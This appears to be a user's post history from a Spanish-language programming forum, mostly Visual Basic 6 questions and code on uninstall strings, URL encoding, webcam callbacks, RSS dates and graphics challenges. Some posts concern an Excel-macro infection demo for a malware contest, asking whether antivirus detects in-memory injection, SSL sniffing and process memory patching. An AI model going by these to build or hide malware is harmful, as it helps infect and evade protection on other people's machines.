Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - LeandroA

#1
Buenas hace rato que no ando por aqui, asi que les traigo un spam digo un aporte, se trata de un control de usuario de una etiqueta (Label) con las opciones necesaria para hacer casi todo lo que esta visualmente de moda al dia de la fecha. voy a dejar el link del post en mi blog donde amplió un poco mas todo y algunas capturas







visitar sitio y descargar

Saludos.
#2
Windows / Desinstalación silenciosa, Como?
7 Abril 2017, 02:45 AM
hola ,mediante el registro recolecto cadenas de uninstall de los programas instalados ahora hay forma de llamar al desinstalador de forma silenciosa y oculta sin que muestre una interfaz de usuario, es decir que se desinstale sin opciones.

mi intento fue con ShellExcute + el comando y Hide pero igual se muestra la interfaz preguntando.


C:\WINDOWS\SysWoW64\Macromed\Flash\FlashUtil32_25_0_0_127_pepper.exe -maintain pepperplugin
"C:\Program Files (x86)\Microsoft Games\Age of Mythology\UNINSTAL.EXE" /runtemp /addremove
"C:\Program Files (x86)\Microsoft Games\Age of Mythology\UNINSTXP.EXE" /runtemp /addremove
"C:\Program Files (x86)\Google\Chrome\Application\57.0.2987.133\Installer\setup.exe" --uninstall --system-level --verbose-logging
"C:\Program Files (x86)\IcoFX 2\unins000.exe"
C:\Program Files (x86)\Notepad++\uninstall.exe
"C:\Program Files (x86)\Opera\Launcher.exe" /uninstall
"C:\Program Files (x86)\TeamViewer\uninstall.exe"
C:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
MsiExec.exe /I{01501EBA-EC35-4F9F-8889-3BE346E5DA13}
MsiExec.exe /I{07E8F866-4D6A-4C17-BFC7-1E7D5F95A132}
MsiExec.exe /X{0EC7F9CC-4741-45AE-9F55-6E9343F726F5}
MsiExec.exe /X{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}
"C:\Program Files (x86)\ApiViewer 2004\SDK\unins000.exe"
"C:\ProgramData\Package Cache\{246dcb72-b18c-4ab9-9de9-8a996296b01d}\vcredist_x86.exe"  /uninstall
"C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe"  /uninstall
MsiExec.exe /X{4E76FF7E-AEBA-4C87-B788-CD47E5425B9D}
"C:\Program Files (x86)\InstallShield Installation Information\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}\Setup.exe" -runfromtemp -removeonly
"C:\ProgramData\Package Cache\{6e8f74e0-43bd-4dce-8477-6ff6828acc07}\vcredist_x64.exe"  /uninstall
"C:\ProgramData\Package Cache\{74d0e5db-b326-4dae-a6b2-445b9de1836e}\VC_redist.x86.exe"  /uninstall
C:\Program Files (x86)\InstallShield Installation Information\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}\setup.exe -runfromtemp -removeonly
MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}
C:\Program Files (x86)\InstallShield Installation Information\{9D3D8C60-A5EF-4123-B2B9-172095903AB}\Install.exe -uninst -l0xA
C:\Program Files (x86)\InstallShield Installation Information\{9DAABC60-A5EF-41FF-B2B9-17329590CD5}\Install.exe -uninst -l0xA
MsiExec.exe /X{A1238426-ECDF-4639-BE2F-8D12A97AE23C}
"C:\Program Files (x86)\ApiViewer 2004\unins000.exe"
"C:\Windows10Upgrade\Windows10UpgraderApp.exe" /Uninstall
"C:\ProgramData\Package Cache\{e46eca4f-393b-40df-9f49-076faf788d83}\VC_redist.x64.exe"  /uninstall
MsiExec.exe /I{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}
MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}
C:\Program Files\Realtek\Audio\HDA\RtlUpd64.exe -r -m -nrg2709
C:\Program Files\DAEMON Tools Lite\uninst.exe
"C:\Program Files\KMSpico\unins000.exe"
c:\Program Files\Common Files\Microsoft Shared\VSTO\10.0\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)\install.exe
c:\Program Files\Common Files\Microsoft Shared\VSTO\10.0\Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - ESN\install.exe
"C:\Program Files\Common Files\Microsoft Shared\OFFICE15\Office Setup Controller\setup.exe" /uninstall PROPLUS /dll OSETUP.DLL
"C:\Program Files\Age of Mythology\unins000.exe"
MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}
MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F64180111F0}
MsiExec.exe /X{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}
MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}
MsiExec.exe /I{64A3A4F4-B792-11D6-A78A-00B0D0180450}
"C:\Windows\SysWOW64\RunDll32.EXE" "C:\Program Files\NVIDIA Corporation\Installer2\installer.{6DD0CAF6-E2A0-4D4A-8EA1-EF0CCA75D133}\NVI2.DLL",UninstallPackage Display.3DVision
"C:\Windows\SysWOW64\RunDll32.EXE" "C:\Program Files\NVIDIA Corporation\Installer2\installer.{6DD0CAF6-E2A0-4D4A-8EA1-EF0CCA75D133}\NVI2.DLL",UninstallPackage Display.Driver
"C:\Windows\SysWOW64\RunDll32.EXE" "C:\Program Files\NVIDIA Corporation\Installer2\installer.{6DD0CAF6-E2A0-4D4A-8EA1-EF0CCA75D133}\NVI2.DLL",UninstallPackage Display.NVIRUSB
"C:\Windows\SysWOW64\RunDll32.EXE" "C:\Program Files\NVIDIA Corporation\Installer2\installer.{6DD0CAF6-E2A0-4D4A-8EA1-EF0CCA75D133}\NVI2.DLL",UninstallPackage Display.PhysX
#3
Este es un pequeño código para participar del concurso de Abril Negro el código no es nada sofisticado pero es para motivar a ustedes a participar, se trata de un juego (no es nada peligroso) pero es para mostrar un método de como infectar utilizando Excel mediante código VBA, claro que se requiere habilitar las macros.

Como es un juego en el que quiero que participen no quiero dar muchos detalles al menos hasta que se cumpla la fecha del concurso.

Esta programado parte en VBA y parte en VB6, ademas utilizo esta herramienta
La idea es mostrar como infectar una pc utilizando una planilla de excel.



DESCARGA:
http://workupload.com/file/2rjMS3M


ACLARO NUEVAMENTE NO HAY PELIGRO
#4
Se trata de un modulo clase para capturar web y guardarlas como imagen.
en el enlace van a encontrar tres proyecto de demostración.

http://leandroascierto.com/blog/screenshots-website/









http://leandroascierto.com/blog/screenshots-website/
#5
Hola como dice el titulo quiero crear una función que pase un numero decimal a grados minutos segundos.

la cuenta es fácil consiste en tomar un numero por ejemplo como este 32.4525 la parte entera es el grado (32) la parte decimal se la multiplica por 60 (0.4525 x 60) eso da como resultado 27,15 la parte entera son los minutos (27), y a la parte decimal se la multiplica por segundos 0.15 x 60 el resultado de eso ( 9) son los segundos (este ultimo puede tener decimales.)

[youtube=640,360]http://www.youtube.com/watch?v=xSiRqKNkuTI[/youtube]

esta es la función que hice pero no funciona bien

Código (vb) [Seleccionar]
Option Explicit

Private Sub Form_Load()
   Dim G As Double, M As Double, S As Double

   DecimalToGMS 32.4525, G, M, S
   Debug.Print G, M, S  '32.4525 = 32 Grados,27 Minutos,9 Segundos
   
   DecimalToGMS 61.0125731667, G, M, S
   Debug.Print G, M, S  '61.0125731667 = 61 Grados,0 Minutos,45.2633999976 Segundos
End Sub


Private Function DecimalToGMS(Value As Double, Grado As Double, Minuto As Double, Segundo As Double)
   Dim Absolute As Double
   Dim sRet As String
   Dim lPos As Long
   Dim pEntera As Double, pDecimal As Double
   
   
   
   Absolute = Abs(Value)

   pEntera = Fix(Absolute)
   pDecimal = Absolute - pEntera
   
   Grado = pEntera
   Absolute = pDecimal * 60

   pEntera = Fix(Absolute)
   pDecimal = Absolute - pEntera
   
   If pEntera <> Absolute Then
       Minuto = pEntera
   End If
   
   Segundo = pDecimal * 60

End Function


aqui tienen una pagina para testear los resultados (funciona bien)
http://convertir-grados-decimales-a-grados-minutos-y-segundos.todala.info/

intente utilizar el valor como una cadena de texto pero tengo el problema cuando en la parte de multiplicar los segundos no hay decimales,
si lo tratan como una cadena de texto tengan en cuenta que según la configuración local el punto podría ser una coma.

#6
Hola, se me presento la necesidad de crear esas funciones y en la web encontré algunas pero no funcionan muy bien asi que me pareció interesante el reto, no es muy dificil (creo), pero es para ver quien las puede hacer funcionar mas rapido.

Public Function URLDecode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As String
Public Function URLEncode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As String

el segundo parametro es opcional para remplazar espacios por +

es practicamente como lo que hace esta web http://meyerweb.com/eric/tools/dencoder/



osea ingresamos

Citarhttps://www.google.com.ar/search?q=canción
si usamos la funcion urlEncode deberia cambiar el acento
Citarhttps://www.google.com.ar/search?q=canci%C3%B3n
por lo visto esta pasado a utf8 y luego a hex
lo importante es que encode los parámetros no la url entera ya que sino dejaria de ser una url valida.

otro ejemplos
Citarhttp://www.taringa.net/buscar/?q=día 12/12/12&interval=
http://www.taringa.net/buscar/?q=d%C3%ADa%2012%2F12%2F12&interval=

Citarhttps://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1312101221&rver=6.1.6206.0&wp=MBI&wreply=http://mail.live.com/default.aspx&lc=2058&id=64855&mkt=es-US&cbcxt=mai&snsc=1

https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1312101221&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=2058&id=64855&mkt=es-US&cbcxt=mai&snsc=1

después iremos debatiendo que esta mal o que falta.
#7
Redes / Sniffer SSL
25 Septiembre 2012, 03:40 AM
Hola chicos alguien me puede recomendar o si es que existe algun sniffer que pueda visualizar el trafico SSL en texto plano.

Agradezco si me dan detalles.

Saludos.
#8
Hola, alguien sabe de alguna forma de compartir un valor entre modulos clases, por ejemplo si yo agrego un modulo publico y pongo Dim Contador as long todas las clases dentro del proyecto pueden consultar ese valor desde el modulo publico, pero la idea de usar un modulo publico para declarar esa única variable no me gusta, debe existir alguna api, para hacer eso no?. (un Global o algo asi)

una opción se que puedo utilizar (CreateWindowEx ,FindWindow,  SetProp y GetProp ) pero no me parece para nada elegante.

mi idea es crear un tipo de semaforo o mejor dicho un tipo contador de clases que se van creando y cuando se descargan, van restando 1 valor al contador, cuando llega la ultima y ve que este valor es 0 llama a una función para descargar lo que cargo la primera

Saludos.
#9
Hola, se que esto ya se hablo en el foro, pero no recuerdo bien con que apis buscar, quiero modificar cierta parte de el array de bits de un proceso.
Se agradecen aportes.
#10
Hola, estoy intentando obtener el puntero de una funcion dentro de una clase tal como se habló dentro de este post, pero mi problema es que la funcion no tiene cuatro paramentros sino dos y cuando intento llamar a la funcion llega a funcionar pero inmediatamente  revienta el vb bien, no se como hay que modificar el ASM para indicar que la funcion tiene dos long como parametro.

esto es lo que estoy haciendo, intento disparar el callback de una webcam dentro de un modulo clase

Option Explicit

Private Declare Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Integer, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Const WM_USER                       As Long = &H400
Private Const WM_CAP_START                  As Long = WM_USER
Private Const WM_CAP_SET_CALLBACK_FRAME     As Long = WM_CAP_START + 5
Private Const WM_CAP_DRIVER_CONNECT         As Long = WM_CAP_START + 10
Private Const WM_CAP_DRIVER_DISCONNECT      As Long = WM_CAP_START + 11
Private Const WM_CAP_GET_VIDEOFORMAT        As Long = WM_CAP_START + 44
Private Const WM_CAP_GRAB_FRAME             As Long = WM_CAP_START + 60

Private Type VIDEOHDR
   lpData          As Long
   dwBufferLength  As Long
   dwBytesUsed     As Long
   dwTimeCaptured  As Long
   dwUser          As Long
   dwFlags         As Long
   dwReserved(3)   As Long
End Type

Private bvASM(40) As Byte
Private hwndCap As Long


Public Function FrameCallBack(ByVal lWnd As Long, ByVal lpVHdr As Long) As Long

   Debug.Print "FUNCIONA!"

End Function

Public Function Capture()
   Call SendMessage(hwndCap, WM_CAP_GRAB_FRAME, ByVal 0&, ByVal 0&)
End Function

Public Function CreateCaptureWindow() As Boolean

   hwndCap = capCreateCaptureWindowA(vbNullString, 0&, 0&, 0&, 0&, 0&, 0&, 0&)

   If hwndCap Then
       Call SendMessage(hwndCap, WM_CAP_SET_CALLBACK_FRAME, 0, GetAdressMe(Me))
       CreateCaptureWindow = True
   End If
End Function

Function capGetVideoFormat(ByVal hCapWnd As Long, ByVal CapFormatSize As Long, ByVal BmpFormat As Long) As Long
  capGetVideoFormat = SendMessage(hCapWnd, WM_CAP_GET_VIDEOFORMAT, CapFormatSize, BmpFormat)
End Function

Public Function DestroyCaptureWindow() As Boolean
   If hwndCap Then DestroyCaptureWindow = DestroyWindow(hwndCap): hwndCap = 0
End Function

Public Function ConnectDriver() As Boolean
   If hwndCap Then ConnectDriver = SendMessage(hwndCap, WM_CAP_DRIVER_CONNECT, 0&, 0&)
End Function

Public Function DisconnectDriver() As Boolean
   If hwndCap Then
       Call SendMessage(hwndCap, WM_CAP_SET_CALLBACK_FRAME, 0&, vbNull)
       DisconnectDriver = SendMessage(hwndCap, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
   End If
End Function


Private Function GetAdressMe(Obj As Object) As Long
   Dim WindowProcAddress As Long
   Dim pObj As Long
   Dim pVar As Long

   Dim i As Long

   For i = 0 To 40
       bvASM(i) = Choose(i + 1, &H55, &H8B, &HEC, &H83, &HC4, &HFC, &H8D, &H45, &HFC, &H50, &HFF, &H75, &H14, _
                                &HFF, &H75, &H10, &HFF, &H75, &HC, &HFF, &H75, &H8, &H68, &H0, &H0, &H0, &H0, _
                                &HB8, &H0, &H0, &H0, &H0, &HFF, &HD0, &H8B, &H45, &HFC, &HC9, &HC2, &H10, &H0)
   Next i

   pObj = ObjPtr(Obj)

   Call CopyMemory(pVar, ByVal pObj, 4)
   Call CopyMemory(WindowProcAddress, ByVal (pVar + 28), 4)

   Call LongToByte(pObj, bvASM, 23)
   Call LongToByte(WindowProcAddress, bvASM, 28)

   GetAdressMe = VarPtr(bvASM(0))
End Function


Private Sub LongToByte(ByVal lLong As Long, ByRef bReturn() As Byte, Optional i As Integer = 0)
   bReturn(i) = lLong And &HFF
   bReturn(i + 1) = (lLong And 65280) / &H100
   bReturn(i + 2) = (lLong And &HFF0000) / &H10000
   bReturn(i + 3) = ((lLong And &HFF000000) \ &H1000000) And &HFF
End Sub





en el formulario con un boton
Option Explicit
Dim C1 As Class1

Private Sub Command1_Click()
   C1.Capture
End Sub

Private Sub Form_Load()
   Set C1 = New Class1
   C1.CreateCaptureWindow
   C1.ConnectDriver
End Sub

Private Sub Form_Unload(Cancel As Integer)
   C1.DisconnectDriver
   C1.DestroyCaptureWindow
   Set C1 = Nothing
End Sub

#11
Hola tengo problemas para leer un rss, estoy usando Microsoft.XMLDOM, el problema es cuando trato de leer el documento ("Load"), lo que es extraño para mí es que con Firefox o Internet Explorer se muestra correctamente.

el problema es con este rss http://www.taringa.net/rss/home/ultimos-posts/

al parecer es por la primera linea <?xml version="1.0" encoding="UTF-8"?>
si yo descargo el documento en disco y pongo
<?xml version="1.0" encoding="ISO-8859-1"?>
lee el documento correctamente.

Option Explicit
'Private Doc As DOMDocument
Private Doc As Object

Private Sub Form_Load()
   Dim sURL As String
   
   'This fail
   sURL = "http://www.taringa.net/rss/home/ultimos-posts/"
   
   'This ok if Doc.validateOnParse = False
   'sURL = "http://ezrss.it/feed/"
   
   
   'This ok
   'sURL = "http://d.yimg.com/ar.rss.news.yahoo.com/rss/insolitas"
   
   'Set Doc = New DOMDocument
   Set Doc = CreateObject("Msxml2.DOMDocument.3.0") 'or "Microsoft.XMLDOM"
   
   Doc.resolveExternals = False
   Doc.async = False
   Doc.validateOnParse = False


   If Doc.Load(sURL) Then
       Debug.Print Doc.xml
   Else
       Debug.Print Doc.parseError
   End If
End Sub

#12
Hola alguien necesito pasar una tipo de fecha PubDate (son las que vienen los rss, feed, atom etc) pero bueno mirando un poco vi que tienen muchos formatos diferentes y no se bien si estoy haciendo lo correcto
por el momento hice esta función pero tengo problema con los dos últimos formatos
(2011-06-06T06:16:42+02:00    Y    2011-06-05T21:46:13Z) alguien conoce otra forma o como mejorar esta.

Option Explicit

Private Type TIME_ZONE_INFORMATION
   Bias As Long
   Reserved(0 To 169) As Byte
End Type
Private Declare Function GetTimeZoneInformation Lib "kernel32" (lpTimeZoneInformation As TIME_ZONE_INFORMATION) As Long
       
Private Sub Form_Load()

Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 07:57:15 PDT")
Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 22:06:29 GMT")
Debug.Print PubDateToVBDate("2011-06-05 21:35:26")
Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 13:52:53 PST")
Debug.Print PubDateToVBDate("2011-06-06T06:16:42+02:00")
Debug.Print PubDateToVBDate("2011-06-05T21:46:13Z")


End Sub


Private Function PubDateToVBDate(ByVal sPubDate As String) As Date
    Dim TZI As TIME_ZONE_INFORMATION

    Dim sDate As String
    Dim lRet As Long
    lRet = InStr(sPubDate, ", ")
    If lRet Then
        sDate = Mid$(sPubDate, InStr(sPubDate, ", ") + 2)
    Else
        sDate = sPubDate
    End If

    If InStrRev(sDate, " ") <> InStr(sDate, " ") Then
        sDate = Left$(sDate, InStrRev(sDate, " "))
    End If
    GetTimeZoneInformation TZI
    sDate = DateAdd("h", -(TZI.Bias / 60), CDate(sDate))
    If InStr(sPubDate, "PDT") Then sDate = DateAdd("h", 7, sDate)
    If InStr(sPubDate, "PST") Then sDate = DateAdd("h", 8, sDate)
    PubDateToVBDate = sDate
End Function
#13
Buenas para darle un poco mas de emoción al foro voy a proponer un nuevo Reto, el cual lo veo super difícil, según mi punto de vista hay que usar mucha lógica, este reto va a durar un mes o menos si alguien lo resuelve.  asi que le voy a poner una chincheta hasta que se termine.

Les paso a explicar en que consiste:
Situados dos puntos "A" y "B"  debe crearse un Array de puntos (POINTAPI) desde "A" hacia "B" lo cual no es muy difícil, el reto sera que abra un obstáculo de por medio el cual debera esquivar este obstáculo sera una Región (CreateRectRgn, CreateEllipticRgn, CreateRoundRectRgn, etc) para detectar si hay colición podemos utilizar el api
Código (vb) [Seleccionar]
Private Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long

para tener una idea mejor muestro un ejemplo (no optimizado) de como seria "el puto "A" al "B" sin el obstaculo.

(Agregar dos CommandButton a un formulario bien separados)
Código (vb) [Seleccionar]
Option Explicit

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Type POINTAPI
    X As Long
    Y As Long
End Type

Private Sub Form_Load()
    Dim i As Long
    Dim PT1 As POINTAPI
    Dim PT2 As POINTAPI
    Dim mPT() As POINTAPI
   
    Me.ScaleMode = vbPixels
   
    Command1.Caption = "A"
    Command2.Caption = "B"
   
    PT1.X = Command1.Left
    PT1.Y = Command1.Top
   
    PT2.X = Command2.Left
    PT2.Y = Command2.Top
   
    CreatePointLine PT1, PT2, mPT

    Me.Show
   
    For i = 0 To UBound(mPT)
        Command1.Move mPT(i).X, mPT(i).Y
        DoEvents
        Sleep 5
    Next
   
End Sub


Private Function CreatePointLine(PT1 As POINTAPI, PT2 As POINTAPI, DestPT() As POINTAPI)
    Dim X As Long, Y As Long
    Dim i As Long, j As Long
   
    X = Abs(PT2.X - PT1.X)
    Y = Abs(PT2.Y - PT1.Y)
       
    If X > Y Then
        ReDim DestPT(X)
        For i = PT1.X To PT1.X + X
       
            If PT1.X > PT2.X Then
                DestPT(j).X = PT1.X - j
            Else
                DestPT(j).X = PT1.X + j
            End If
                       
            If PT1.Y > PT2.Y Then
                DestPT(j).Y = PT1.Y - (Y * (j * 100 / X) / 100)
            Else
                DestPT(j).Y = PT1.Y + (Y * (j * 100 / X) / 100)
            End If
            j = j + 1
        Next
    Else
        ReDim DestPT(Y)
        For i = PT1.Y To PT1.Y + Y
       
            If PT1.Y > PT2.Y Then
                DestPT(j).Y = PT1.Y - j
            Else
                DestPT(j).Y = PT1.Y + j
            End If

            If PT1.X > PT2.X Then
                DestPT(j).X = PT1.X - (X * (j * 100 / Y) / 100)
            Else
                DestPT(j).X = PT1.X + (X * (j * 100 / Y) / 100)
            End If
            j = j + 1
        Next
    End If
End Function


como ven crea un array de puntos de "A" hasta "B" ahora les dejo un prototipo para empezar a crear una funcion similar con una Region la cual devera esquivar para poder llegar al punto "B"

Código (vb) [Seleccionar]

Option Explicit
Private Declare Function CreatePolygonRgn Lib "gdi32" (lpPoint As Any, ByVal nCount As Long, ByVal nPolyFillMode As Long) As Long
Private Declare Function FillRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long, ByVal hBrush As Long) As Long
Private Declare Function GetStockObject Lib "gdi32" (ByVal nIndex As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long

Private Type POINTAPI
    x As Long
    y As Long
End Type

Private Sub Form_Load()
    Dim i As Long
    Dim PT1 As POINTAPI
    Dim PT2 As POINTAPI
    Dim mPT() As POINTAPI
    Dim hRgn As Long
   
    With Me
        .AutoRedraw = True
        .ScaleMode = vbPixels
        .Width = 10000
        .Height = 10000
    End With
   
    Command1.Move 350, 50, 32, 32: Command1.Caption = "A"
    Command2.Move 400, 570, 32, 32: Command2.Caption = "B"
   
    hRgn = CreateRegion
    FillRgn Me.hdc, hRgn, GetStockObject(4)
   
   
    PT1.x = Command1.Left
    PT1.y = Command1.Top
   
    PT2.x = Command2.Left
    PT2.y = Command2.Top
   
   
   
    '---------- Esta función es el reto-----------
    'CreatePointLine hRgn, PT1, PT2, mPT
    '---------------------------------------------

    Me.Show
    On Error Resume Next
    For i = 0 To UBound(mPT)
        Command1.Move mPT(i).x, mPT(i).y
        DoEvents
        Sleep 5
    Next
   
    DeleteObject hRgn
End Sub

' La funcion del Reto
Private Function CreatePointLine(ByVal hRgn As Long, PT1 As POINTAPI, PT2 As POINTAPI, DestPT() As POINTAPI) As Boolean
    '---------
End Function

Private Function CreateRegion() As Long
    Dim PT(0 To 9) As POINTAPI
   
    PT(0).x = 170: PT(0).y = 203
    PT(1).x = 310: PT(1).y = 287
    PT(2).x = 398: PT(2).y = 192
    PT(3).x = 403: PT(3).y = 301
    PT(4).x = 560: PT(4).y = 217
    PT(5).x = 457: PT(5).y = 375
    PT(6).x = 551: PT(6).y = 506
    PT(7).x = 375: PT(7).y = 425
    PT(8).x = 164: PT(8).y = 492
    PT(9).x = 275: PT(9).y = 339

    CreateRegion = CreatePolygonRgn(PT(0), 10, 1)
End Function


Aqui una imagen de lo que deberia hacer



para culminar, el objetivo es tratar de que funcione, luego se evaluara la velocidad en generar el array, y cual es la que genere el array mas preciso para llegar del punto A al B
#14
Hola esta es una función que debo realizar así que la pongo como un reto para quienes estén aburridos, les cuento de que se trata, la idea es obtener el color de mascara de una imagen, como pueden ver en la siguiente

a simple vista reconocemos que es un color Magenta, lo que intentaremos es obtenerlo mediante código, para no complicar las cosas usaremos un PictureBox sin bordes (BordeStyle = none), AutoSize = True  y ScaleMode = vbPixels
para obtener el color utilizaremos el api GetPixel
Private Declare Function GetPixel Lib "gdi32.dll" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long

entonces en el picture pondremos una de las imagenes que se encuentran abajo de todo.
la imagen es una tira de iconos, nosotros debemos verificar en cada esquina de ese icono cual es el color, el color que se repita mas veces sera el color de mascara
como muestro en esta imagen
con puntos azules y rojos son los puntos donde debemos comprobar el color almacenarlo en algún array o lo que sea y luego ir sumando para al final ver cual es el que se repitio mas veces.












como son todos iconos cuadrados una ayuda para obtener el tamaño de cada icono y la cantidad de iconos
Private Sub Form_Load()
    Dim lWidth As Long
    Dim lHeight As Long
    Dim NumIcon As Long

    lWidth = (Picture1.ScaleWidth \ Picture1.ScaleHeight)
    If lWidth = 0 Then lWidth = 1
    lWidth = Picture1.ScaleWidth \ lWidth
    lHeight = Picture1.ScaleHeight
   
    NumIcon = Picture1.ScaleWidth \ lWidth
   
    Debug.Print lWidth, lHeight, NumIcon
End Sub
#15
Se trata de un proyecto para subir imagenes a facebook directamente con un click en las imagenes de tu ordenardor sin entrar a la pagina en Facebook

Leer más - Descargar

Se necesitan tester.

#16
Buenas,  alguien sabe como habilitar el FocusRect en los checkbox o controles similares cuando están presente los temas de windows, se que es posible porque alguien en algun foro  puso el código, creo que era con sendmessage o setwindowlong (sin subclasificar)
me refiero a los puntitos cuando el control toma el foco

#17
Hola una pregunta, como puedo obtener la lista de archivos de la linea de argumentos Command$

por ejemplo:
C:\Proyecto1.exe "C:\reto 123.exe" C:\imagen.png

cuando la ruta de un archivo tiene espacio windows pone " , de lo contrario solo separa un archivo de otro con espacios

cual es la logica para estraer los archivos de la linea de comando.

Saludos.
#18
Hola tengo una duda acerca de la heurística de los AV, supongamos que una Aplicación "A" hace una inyeccion de una Aplicación "B", digamos que la App A no es detectada pero la App B si por los AV, en ningún momento se escribe la Aplicación "B" en el disco rígido todo se maneja en memoria, es posible que los AV detecten esto?
digamos los AV que conozco detecta un archivo malicioso antes de ejecutarse, puede ser que los detecte ejecutandose por hacer algo sospechoso?

si es así, que antivirus conocen ustedes que detecte un código malicioso en ejecución?

Saludos.
#19
Buenas alguien conoce una api o alternativa a keybd_event  (Que no sea SendKeys o SendMessage)

SAludos.
#20
Hola como parte de mi aburrimiento hice este módulo para crear un efecto lluvia de TV, no se si tenga alguna utilidad para alguien pero bueno es para ir aprendiendo un poco mas.

Módulo
Código (vb) [Seleccionar]

Option Explicit
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
Private Declare Function waveOutOpen Lib "winmm.dll" (lphWaveOut As Long, ByVal uDeviceID As Long, lpFormat As WAVEFORMATEX, ByVal dwCallback As Long, ByVal dwInstance As Long, ByVal dwFlags As Long) As Long
Private Declare Function waveOutPrepareHeader Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutWrite Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutUnprepareHeader Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutClose Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function waveOutReset Lib "winmm.dll" (ByVal hWaveOut As Long) As Long

Private Const WHDR_DONE = &H1
Private Const WAVE_MAPPER = -1&

Private Type WAVEHDR
    lpData As Long
    dwBufferLength As Long
    dwBytesRecorded As Long
    dwUser As Long
    dwFlags As Long
    dwLoops As Long
    lpNext As Long
    Reserved As Long
End Type

Private Type WAVEFORMATEX
    wFormatTag As Integer
    nChannels As Integer
    nSamplesPerSec As Long
    nAvgBytesPerSec As Long
    nBlockAlign As Integer
    wBitsPerSample As Integer
    cbSize As Integer
End Type

Private Declare Function CreatePatternBrush Lib "gdi32" (ByVal hBitmap As Long) As Long
Private Declare Function FillRect Lib "user32" (ByVal Hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function CreateBitmap Lib "gdi32" (ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Long, ByVal nBitCount As Long, lpBits As Any) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Private Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type

Private hWaveOut As Long
Private bStop As Boolean

Public Sub StopAnimation()
    bStop = True
    If hWaveOut Then waveOutReset hWaveOut
End Sub

Public Sub Play(ByVal Hdc As Long, Left As Long, ByVal Top As Long, ByVal Width As Long, ByVal Height As Long)
    Dim OutFormat As WAVEFORMATEX
    Dim lngBufferSize As Long
    Dim Rec As RECT
    Dim bData() As Byte
    Dim wvhdr As WAVEHDR
    Dim i As Long

    With OutFormat
        .wFormatTag = 1
        .nSamplesPerSec = 8000
        .wBitsPerSample = 16
        .nChannels = 1
        .nBlockAlign = 2
        .nAvgBytesPerSec = 16000
        .cbSize = Len(OutFormat)
    End With
   
    If waveOutOpen(hWaveOut, WAVE_MAPPER, OutFormat, 0, 0, 0) = 0 Then
   
        bStop = False
        lngBufferSize = 16000& * 30&
       
        ReDim bData(lngBufferSize)
       
        For i = 0 To lngBufferSize - 1
            bData(i) = Int((255 + 1) * Rnd())
        Next
           
        With wvhdr
            .lpData = VarPtr(bData(0))
            .dwBufferLength = lngBufferSize
        End With
       
        With Rec
            .Left = Left
            .Top = Top
            .Right = Left + Width
            .Bottom = Top + Height
        End With
   
        If waveOutPrepareHeader(hWaveOut, wvhdr, Len(wvhdr)) = 0 Then

            While bStop = False
                If waveOutWrite(hWaveOut, wvhdr, Len(wvhdr)) = 0 Then
                    While ((wvhdr.dwFlags And WHDR_DONE) <> WHDR_DONE)
                        Draw Hdc, Rec
                        DoEvents
                        Sleep 10
                    Wend
                End If
            Wend
           
